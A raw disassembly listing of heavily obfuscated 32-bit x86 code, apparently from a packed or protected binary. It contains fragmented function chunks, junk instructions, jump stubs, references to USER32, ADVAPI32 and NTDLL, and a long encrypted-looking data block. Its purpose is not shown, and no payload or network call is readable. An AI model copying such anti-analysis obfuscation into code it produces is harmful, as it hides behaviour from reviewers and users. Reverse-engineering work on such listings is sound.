loc_5B01A0:				; CODE XREF: sub_5A3CF9+53A5j
		not	ebx
		xchg	eax, ebx
		dec	eax
		jmp	sub_5ADD13
; END OF FUNCTION CHUNK	FOR sub_5A3CF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D6F


loc_5B01A9:				; CODE XREF: sub_5A9D6F-F722j
		pop	ecx
		push	ecx
		mov	cl, 71h
		shr	cl, 6
		sub	cl, 82h
		sub	al, 7Eh
		jmp	loc_59A066
; END OF FUNCTION CHUNK	FOR sub_5A9D6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5B01BA:				; CODE XREF: sub_5992DA+43B3j
		mov	ebx, 5B1309CAh
		jmp	loc_599482
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE40A


loc_5B01C4:				; CODE XREF: sub_5AE40A+5EBj
		add	esi, ecx
		jmp	loc_5A863F
; END OF FUNCTION CHUNK	FOR sub_5AE40A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5B01CB:				; CODE XREF: sub_5AA2D1-4ED2j
		mov	ebp, 7BAC611Eh
		add	ebp, 1
		jmp	loc_5A6DFE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599E21


loc_5B01D8:				; CODE XREF: sub_599E21+1Cj
		add	ebx, edi
		pop	edi
		jmp	loc_5ADF41
; END OF FUNCTION CHUNK	FOR sub_599E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5B01E0:				; CODE XREF: sub_5992DA+14AE2j
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+32h+var_32]
		jmp	loc_5A8FB5
; END OF FUNCTION CHUNK	FOR sub_5992DA

; =============== S U B	R O U T	I N E =======================================



sub_5B01F7	proc near		; CODE XREF: sub_5A118F+A590j

var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00599F66 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059A912 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0059B519 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059B805 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059B8BC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059BCDF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059BEA7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059D002 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059D3D3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E0FD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E853 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059E9F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059EF23 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F8F4 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059FF86 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A1032 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1852 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A18C5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A1B21 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A1F43 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A291C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A2EA7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A2F3B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A4109 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A4140 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A49F2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A4FBC SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A5404 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A591D SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A5B49 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A5E0E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A61AF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A62DE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A65F8 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005A6835 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7361 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A7C1B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A7DF2 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A8447 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A8878 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A8C05 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A9D7A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AAAEC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AAE30 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AB127 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AB5FC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AB8B0 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005AC120 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AC271 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AC9A8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005ACB08 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005AD296 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 005AD34F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AD9D6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005ADE45 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005AF37F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AFC3D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AFCFA SIZE 00000006 BYTES

		push	ebp
		mov	ebp, 6C4730ADh
		push	edx
		push	8016E89h
		jmp	loc_59E853
sub_5B01F7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5B0208:				; CODE XREF: sub_5992DA+89BEj
		push	cx
		push	edx
		mov	dl, 63h
		mov	cl, dl
		pop	edx
		add	bl, 0BEh
		jmp	loc_5A1D0B
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5B0218:				; CODE XREF: sub_5AA2D1+1D53j
		sub	esi, eax
		jmp	loc_5AA242
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5B021F:				; CODE XREF: sub_5A580F-7E12j
		add	esp, 4
		xchg	edi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebx
		jmp	loc_59D2F6
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5B0233:				; CODE XREF: sub_5AA2D1+2B46j
		xor	bp, 0FC7h
		jno	loc_5A4F50
		push	ax
		jmp	loc_5A77C9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		add	edi, esi
		jmp	loc_5ABA61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3C19


loc_5B024C:				; CODE XREF: sub_5A3C19-3E13j
		pop	ebx
		xor	ecx, [esp-8+arg_4]
		xor	[esp-8+arg_4], ecx
		xor	ecx, [esp-8+arg_4]
		pop	esp
		sub	esp, 4
		mov	[esp-8+arg_4], ecx
		push	esp
		jmp	loc_5AE3E1
; END OF FUNCTION CHUNK	FOR sub_5A3C19

; =============== S U B	R O U T	I N E =======================================



sub_5B0266	proc near		; DATA XREF: sdfs____:00598E94o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059C2B1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F430 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A1223 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A48AC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A58A5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005ACCD6 SIZE 00000016 BYTES

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	eax
		push	20AEh
		mov	[esp+8+var_8], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	57D4h
		mov	[esp+0], eax
		jmp	loc_59F430
sub_5B0266	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5B0293:				; CODE XREF: sub_5AA810-10DDFj
					; sub_5A556E+3j
		mov	[esp+0], ebx
		push	esp
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_5A0895
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ED98


loc_5B02AD:				; CODE XREF: sub_59ED98+6j
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_59E74F
; END OF FUNCTION CHUNK	FOR sub_59ED98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5B02B8:				; CODE XREF: sub_5AA2D1+1A29j
		add	ecx, 2
		jmp	loc_5AACBE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5B02C0	proc near		; DATA XREF: sdfs____:00598EF4o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A7EBF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AAB75 SIZE 00000010 BYTES

		lodsw
		xor	ax, bx
		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	small 4CF0h
		pop	dx
		jmp	loc_5A7EBF
sub_5B02C0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21F1


loc_5B02D9:				; CODE XREF: sub_5A21F1+9j
		push	20F05DA7h
		jmp	loc_5A05CA
; END OF FUNCTION CHUNK	FOR sub_5A21F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5B02E3:				; CODE XREF: sub_5AA2D1-5FE2j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_5AF953
; ---------------------------------------------------------------------------


loc_5B0302:				; CODE XREF: sub_5AA2D1+17B1j
		pop	esp
		xor	word ptr [esp-4+arg_0],	ax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5B030D:				; CODE XREF: sub_5A2E41-43F2j
		push	ecx
		mov	ecx, 0AE6FCF88h
		jmp	loc_5AFB59
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------


loc_5B0318:				; CODE XREF: sdfs____:005AA037j
		mov	edi, 72EF166Eh
		mov	ebx, edi
		pop	edi
		and	esi, ebx
		pop	ebx
		xor	esi, 49004Eh
		sub	edi, 3EF902BEh
		add	edi, esi
		add	edi, 3EF902BEh
		pop	esi
		push	6AF9h
		jmp	loc_5AF0E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5B0342:				; CODE XREF: sub_5A5EFF-A203j
		pop	edx
		push	230h
		mov	[esp+4+var_4], ebp
		push	eax
		mov	eax, 5E220476h
		mov	ebp, 477876E2h
		jmp	loc_5A7A13
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5B035B:				; CODE XREF: sub_59EE3E+50FEj
		add	esp, 2
		push	eax
		mov	al, 0CDh
		shr	al, 4
		push	bx
		mov	bl, 0FEh
		and	al, bl
		pop	bx
		sub	al, 16h
		add	al, 12h
		sub	bl, al
		jmp	loc_5A7C28
; END OF FUNCTION CHUNK	FOR sub_59EE3E

; =============== S U B	R O U T	I N E =======================================



sub_5B0377	proc near		; DATA XREF: sdfs____:00598F24o

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599862 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059AEBE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C3DF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059DBB4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059DF0C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059FDD2 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A1AD4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3580 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A3D98 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A784F SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005AAA45 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AC291 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AF038 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005AF233 SIZE 0000001F BYTES

		mov	ax, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		push	edx
		jmp	loc_59DF0C
sub_5B0377	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59993B


loc_5B038C:				; CODE XREF: sub_59993B+17j
		dec	esi
		or	esi, 27787801h
		dec	esi
		sub	esi, 2B3CE7F8h
		xor	ecx, esi
		jmp	loc_5A5436
; END OF FUNCTION CHUNK	FOR sub_59993B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5B03A1:				; CODE XREF: sub_5AA810-9F79j
		mov	esi, 4
		sub	ebx, 24EB4526h
		sub	ebx, esi
		jmp	loc_59F7B2
; END OF FUNCTION CHUNK	FOR sub_5AA810

; =============== S U B	R O U T	I N E =======================================



sub_5B03B3	proc near		; CODE XREF: sub_5AA2D1+109Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059925B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059AAB8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059AE9B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059DB52 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059ED28 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A10AB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1C76 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A365A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A3B00 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7E4B SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A96D1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005ABE58 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AD5B5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AD681 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005ADB28 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005AE379 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, 70F91089h
		sub	ebp, 27E0097Ah
		xor	ebx, ebp
		jmp	loc_5A10AB
sub_5B03B3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_5B03C6:				; CODE XREF: sub_59A9E9+2894j
		jmp	loc_5A609D
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5B03CB:				; CODE XREF: sub_5AA2D1+20C1j
		mov	eax, 4
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 4
		push	3657h
		jmp	loc_5AFEF3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5B03E8	proc near		; CODE XREF: sub_5AA2D1+21BAj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059A625 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059DE77 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059F816 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A6B0F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A8EF8 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005AB59A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AC0D7 SIZE 00000027 BYTES

		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+4+var_4]
		jmp	loc_59F816
sub_5B03E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_5B03F6:				; CODE XREF: sub_5AB207-E3F9j
		mov	ecx, [esp-4+arg_0]
		sub	esp, 4
		mov	[esp+0], esi
		push	esp
		pop	esi
		jmp	loc_59FB5F
; END OF FUNCTION CHUNK	FOR sub_5AB207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5B0406:				; CODE XREF: sub_59A26C+10143j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		mov	esp, [esp+0]
		push	ebp
		push	edx
		jmp	loc_5A4E60
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5B0421:				; CODE XREF: sub_59C979+1E14j
					; sub_59D6B8:loc_5A0ADEj
		not	ecx
		xchg	eax, ecx
		neg	eax
		jbe	loc_59B216
		or	eax, 7D6C76D7h
		jmp	loc_5A6691
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28E3


loc_5B0436:				; CODE XREF: sub_5A28E3+9j
		sub	ebp, 4
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5A4096
; END OF FUNCTION CHUNK	FOR sub_5A28E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAE5E


loc_5B0447:				; CODE XREF: sub_5AAE5E-433Cj
		add	esp, 4
		add	esp, 4
		shl	ecx, 6
		jmp	loc_5ACD01
; END OF FUNCTION CHUNK	FOR sub_5AAE5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587F3F


loc_5B045B:				; CODE XREF: sub_587F3F+375Aj
		jmp	loc_5B04BB
; END OF FUNCTION CHUNK	FOR sub_587F3F
; ---------------------------------------------------------------------------
		dd 733FC870h, 52455355h, 642E3233h, 41006C6Ch, 50415644h
		dd 2E323349h, 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D8006Ch
		dd 60003h, 40001h, 250034h, 123h, 8 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587F3F


loc_5B04BB:				; CODE XREF: sub_587F3F:loc_5B045Bj
		jmp	loc_5B0DCA
; END OF FUNCTION CHUNK	FOR sub_587F3F
; ---------------------------------------------------------------------------
		push	7EBC81Ch
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EBC8A9h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EBC9B1h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EBCB01h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EBCB5Eh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EBCC68h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EBCCF0h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	es
		cmc
		mov	ebp, edx
		dec	esi
		stosb
		rcr	byte ptr [ebp-0Dh], 1
		pop	ebp
		and	edx, [edx-3E9311DAh]
		push	edi
		retn	3BBAh
; ---------------------------------------------------------------------------
		dw 84A5h
		dd 0FA7B0114h, 28C5475Eh, 9C116B8Ch, 0D5581A30h, 0FBBBF6B0h
		dd 152870FDh, 0EE7881E7h, 5CC4F3B3h, 0AB871D30h, 0F87B717Ah
		dd 0B303EA68h, 0CF5ECCFCh, 0DAEC0759h, 0B446D45Bh, 0AB7BF928h
		dd 0DAD7D119h, 37B56B27h, 40F1158Fh, 0E1B94D5Dh, 6CFE6984h
		dd 0F2261235h, 0EBA60055h, 46B026ABh, 55A93F65h, 68029580h
		dd 26E3A3DEh, 772D46B0h, 1C742DBBh, 944E08ECh, 0D2631638h
		dd 8012DBB6h, 4ED86EFCh, 700A7486h, 6AEBABE6h, 0A2DF3EC7h
		dd 3EC76AE2h, 861C7032h, 1FC727AAh, 0E47D8106h,	6D8E6570h
		dd 0E87D07DFh, 20550D40h, 0D2C63209h, 25B33E38h, 11C27047h
		dd 758EADDh, 0C5560000h, 7A9E3ABBh, 2DC36D00h, 1E76A253h
		dd 92A7119Ch, 54D54BEAh, 0AABD164h, 78F577AEh, 0AC413BDCh
		dd 0E588EA00h, 2B6B2680h, 0E52870FDh, 0A04AF1D7h, 0F56020D1h
		dd 7F0DA63Fh, 0D047D2A7h, 0F611AC46h, 0A9EF1B52h, 0EF8BAC39h
		dd 5F5F5F8Ch, 0DE88F293h, 9E0437B0h, 0CBAE400Ch, 0C1E3A65Ah
		dd 0E13DD3C1h, 359117E3h, 4C05A22h, 0CFFC89F3h,	0A03C833h
		dd 4CDA2713h, 20086A80h, 0C51963F4h, 98116389h,	340E7012h
		dd 0CB8D2232h, 0E3000006h, 2B852848h, 5CF87507h, 832DC0BAh
		dd 309C1193h, 46D65F1Dh, 185CF1E1h, 6AEA3B95h, 0B6C669CBh
		dd 0FD7F9D3Fh, 1E930F70h, 2870FC9Eh, 4A664476h,	420ED6A0h
		dd 7B76CEA8h, 0D92BE891h, 158430DBh, 3Fh, 0D2A04AADh, 5CC4DFDFh
		dd 0DD733130h, 439FF250h, 25305CC5h, 95C86517h,	67B0D9Ah
		dd 37B25797h, 0E5F7C865h, 0A4E7BA78h, 976F0D20h, 6B39250Dh
		dd 9AE275D1h, 0E696B91Bh, 648A91Eh, 78F90000h, 0DC70C4DCh
		dd 0AE3C469Eh, 0BEC45642h, 5CC4C3C3h, 0C1574D30h, 0AAFB637Dh
		dd 13CE2Ah, 0FD8C0597h,	0B537B5ADh, 40EA46EFh, 970AA436h
		dd 2873AE17h, 315D1F31h, 673A8773h, 0D8C963F4h,	2FC7E6C9h
		dd 9721BBE9h, 87E69A1Ah, 0C0287A20h, 6F804CE6h,	5EF1250Dh
		dd 4F17971Eh, 0BE1AD656h, 3BC0D199h, 0D5269037h, 6FB7456Fh
		dd 9835C755h, 0A86D08B8h, 528E6A7Ah, 0FAAD466h,	3C31A1CDh
		dd 0C36A5D91h, 0FB000005h, 238D2050h, 54C06D0Fh, 9B35B8C2h
		dd 0C864098Bh, 4EDE5725h, 106489E9h, 62E2339Dh,	0AECE61D3h
		dd 0F5879507h, 168B1778h, 2870FB96h, 4A1E4C7Eh,	420ED6A0h
		dd 7B76CEA8h, 0A2E9E891h, 89305CC2h, 1E86EA73h,	77A0C7Ah
		dd 305C8187h, 0F3851B89h, 8A7C855Ah, 0FB1D201Fh, 9127BD81h
		dd 0DA956A59h, 0E3D58431h, 0EDFFFFFEh, 0ED6A04Ah, 0CA28B8BBh
		dd 0C32E5387h, 0ACCE6CE8h, 2ABC5250h, 0B4F8E077h, 0A14C5637h
		dd 4889945h, 71E6712Ch,	0DD87AAE7h, 158F2FCBh, 0E6D7EA83h
		dd 0D6D0C4E4h, 1CB8C61Ah, 0CCC480FAh, 4ECF64Eh,	8A9C6A45h
		dd 49F01C20h, 3053888h,	183B694h, 780C0000h, 0F64238DCh
		dd 0BDB82EB7h, 2234902Ah, 0D9C88458h, 7B6DC55Bh, 0B59FD306h
		dd 0CCC5E337h, 28739ECCh, 0CF17958Ch, 0A4FDD9B5h, 18FC9220h
		dd 0B9824669h, 0E572FDE1h, 0C8C8B953h, 484E9981h, 7E089E5Ah
		dd 9C3842D6h, 56370379h, 55F25AF3h, 70494CD9h, 0CAD948CEh
		dd 63F1733h, 7EBA82A8h,	79CC1092h, 0C1BB5FFEh, 47D1677Dh
		dd 933324Ah, 9620824Eh,	0A3522CCEh, 8BAFDB71h, 32FCBCF5h
		dd 8E143EC7h, 82A824F8h, 25CC62F0h, 0C27036B1h,	735A0DC1h
		dd 4B000004h, 0F35DD0A0h, 24901D5Fh, 6BC56812h,	9834B93Bh
		dd 0FE6E0775h, 0C0B45939h, 1292832Dh, 5E1E3163h, 0A5D765D7h
		dd 463B6708h, 2870FA46h, 0B3CEBCCEh, 0ECA537A0h, 37B0FD6Ah
		dd 50EA7C26h, 70FE6121h, 39F1B328h, 681027AFh, 0B4C46BC5h
		dd 0ACCE6C68h, 0E63DF05h, 7067FF34h, 416h, 0F8750714h
		dd 33C2B85Ch, 600D6F81h, 0D75EDC34h, 9A4D065h, 173A9693h
		dd 356CC865h, 7D923EB7h, 34C67203h, 0D8C2AB4Ah,	70F9E9A9h
		dd 0B3112B28h, 0ED6A04Ah, 0F1C9A842h, 171C844Ah, 0EE11DB09h
		dd 96241616h, 0A5DC7600h, 305BFCE5h, 61BD752Fh,	1AF9A074h
		dd 305BFA93h, 0FA880879h, 2C88305Bh, 4DE3710Bh,	31AB219Eh
		dd 0FD304184h, 4A61FFFFh, 9844D6A0h, 0A93B0B89h, 0DD582D41h
		dd 72C1B04Ah, 3A37B5AAh, 23037D92h, 0C9A549A1h,	32C35123h
		dd 44ED7890h, 48A95128h, 5E5E8F6Bh, 0BE48DF5Ah,	0B50C10C3h
		dd 18FCA637h, 0FDBDF48Eh, 1728730Ah, 0EAA4A58Dh, 77D07A97h
		dd 4FD973E4h, 2F0B7587h, 0B470FB5Eh, 0B5891B87h, 4C9922Bh
		dd 42A2DA7Fh, 0B325B540h, 0CB663BF7h, 7A692958h, 0F9AB7872h
		dd 0C8A0D16Bh, 0E87FCB3Eh, 92A420BAh, 0CE8E14E8h, 0E98502Ah
		dd 2BCAB446h, 0EE276389h, 9151D86Eh, 218C3622h,	30CBA2Dh
		dd 9220000h, 0C66AC66Fh, 799F39B4h, 0D2C26E07h,	0DE73DD50h
		dd 0A099179Eh, 0D65F1D30h, 4A92B7Ah, 78F587A8h,	0B13C3EDCh
		dd 0DFDFD2CCh, 312870F8h, 0A0B3A51Bh, 70889F30h, 36960EBCh
		dd 0FC865E20h, 9DA5DC6Eh, 0D37B02Dh, 3990A70h, 18D06AC6h
		dd 309C2E74h, 0B93B6B1Fh, 9232722Fh, 0C0E22870h, 0BB238332h
		dd 881AEA6Ah, 99E374A0h, 0C9B3470Fh, 1AB3CD61h,	62957D80h
		dd 1CB8703Eh, 23F57CFEh, 933409BCh, 2846C43h, 91BA0000h
		dd 4EE24EE7h, 117812Ch,	4A5AF67Fh, 668B25C8h, 28019F16h
		dd 5ED7A548h, 8C21A3F2h, 0C06D0F20h, 39B4C654h,	57574A54h
		dd 0B92870F9h, 0A0B3DD83h, 710BA537h, 5CC58000h, 26129030h
		dd 0B0FE1F27h, 99337137h, 0D05D1F3Dh, 17698E56h, 7AF106DBh
		dd 6B8E56E0h, 7BB7CD11h, 70FEFC8Ah, 0B2921028h,	0A7E79A34h
		dd 902870FEh, 0F470759Fh, 0ECB6DEDDh, 2E67275Ah, 0FBA92871h
		dd 6769B3Fh, 1227A13Eh,	0F356266Dh, 43D155C7h, 5EB71FA9h
		dd 20EBABDEh, 7F252871h, 0E27B2EB3h, 4839D365h,	28712148h
		dd 27453231h, 7B1B6319h, 0AAE7C129h, 28714BE2h,	0A6E27732h
		dd 5F154DEBh, 0B35975C9h, 0FA627DC1h, 2F6F2250h, 0E12870D8h
		dd 26802DC3h, 8D08788Fh, 0D622C810h, 0C32948E2h, 847B5673h
		dd 84047D0Fh, 8C287167h, 22BC8016h, 0AE690BAh, 82A20EDBh
		dd 710329DBh, 57FA62FCh, 6FCBD925h, 4CE1A14Bh, 0B985071Eh
		dd 3B49952Bh, 0B54F59A5h, 7166BCFCh, 0E24E5428h, 0CD6F2336h
		dd 286819B3h, 0E8287167h, 3D824BAh, 82A85CFDh, 3ED37DF0h
		dd 0D311AC3Eh, 8CBF4687h, 0DA2B47B3h, 0DA83A50Dh, 8F0F821Ch
		dd 81287176h, 4EE3D723h, 0BF27872Eh, 5948E29Ah,	28717659h
		dd 9501E9BBh, 9E28F480h, 0EC63E907h, 945C7852h,	916D0F20h
